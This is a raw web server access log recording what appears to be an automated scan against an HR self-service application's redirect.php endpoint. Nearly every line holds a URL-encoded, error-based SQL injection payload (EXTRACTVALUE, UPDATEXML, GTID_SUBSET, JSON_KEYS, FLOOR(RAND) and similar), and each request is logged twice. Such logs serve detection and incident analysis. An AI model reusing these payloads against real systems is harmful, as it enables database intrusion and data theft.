100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4932546c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4148584b%29%2C6420%29--%2F%2A%2A%2F3zte&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x4932546c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4148584b%29%2C6420%29--%2F%2A%2A%2F3zte&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x3761476c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78745154%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FhrXn%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x3761476c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x78745154%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FhrXn%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35646750%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48424572%29%29--%2F%2A%2A%2FUDmi&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x35646750%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x48424572%29%29--%2F%2A%2A%2FUDmi&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6867744e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4d6438%29%29--%2F%2A%2A%2FPbZb&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x6867744e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4d6438%29%29--%2F%2A%2A%2FPbZb&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64546941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56425357%29%2C6420%29--%2F%2A%2A%2FBDAr&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x64546941%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56425357%29%2C6420%29--%2F%2A%2A%2FBDAr&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x37474a76%2C%28NULL%29%2C0x30687464%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FqtGJ%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x37474a76%2C%28NULL%29%2C0x30687464%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FqtGJ%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x47446335%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a693457%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Ft8r0&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x47446335%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a693457%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2Ft8r0&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72395674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4734785a%29%29x%29%29--%2F%2A%2A%2Fvzg8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x72395674%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4734785a%29%29x%29%29--%2F%2A%2A%2Fvzg8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x74475248%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33646742%29%29%2C1%29--%2F%2A%2A%2FZuRE&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x74475248%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33646742%29%29%2C1%29--%2F%2A%2A%2FZuRE&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66524d34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a313743%29%29x%29%29--%2F%2A%2A%2FMeG8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66524d34%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a313743%29%29x%29%29--%2F%2A%2A%2FMeG8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x31475476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62466877%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F0pb8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x31475476%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x62466877%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2F0pb8&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4561494a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344378%29%29--%2F%2A%2A%2FE1pn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x4561494a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e344378%29%29--%2F%2A%2A%2FE1pn&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x73356278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75614b4f%29%29--%2F%2A%2A%2FSCEZ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x73356278%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75614b4f%29%29--%2F%2A%2A%2FSCEZ&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36734f63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49594f54%29%29%2C1%29--%2F%2A%2A%2FvSou&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x36734f63%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x49594f54%29%29%2C1%29--%2F%2A%2A%2FvSou&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5141314e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36633438%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FBI8T&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x5141314e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36633438%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FBI8T&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x384a7a74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4b4458%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FWaTk&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x384a7a74%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a4b4458%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FWaTk&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6e423030%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56705857%29%2C5431%29--%2F%2A%2A%2F8fUm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x6e423030%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x56705857%29%2C5431%29--%2F%2A%2A%2F8fUm&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f665a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72346e67%29%2C5431%29--%2F%2A%2A%2FhYKD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4f665a4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72346e67%29%2C5431%29--%2F%2A%2A%2FhYKD&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a715a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6c664e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fmf1T&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x6a715a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6c664e%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fmf1T&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42766a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42463353%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FdL4q&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:03 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x42766a35%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42463353%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2FdL4q&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
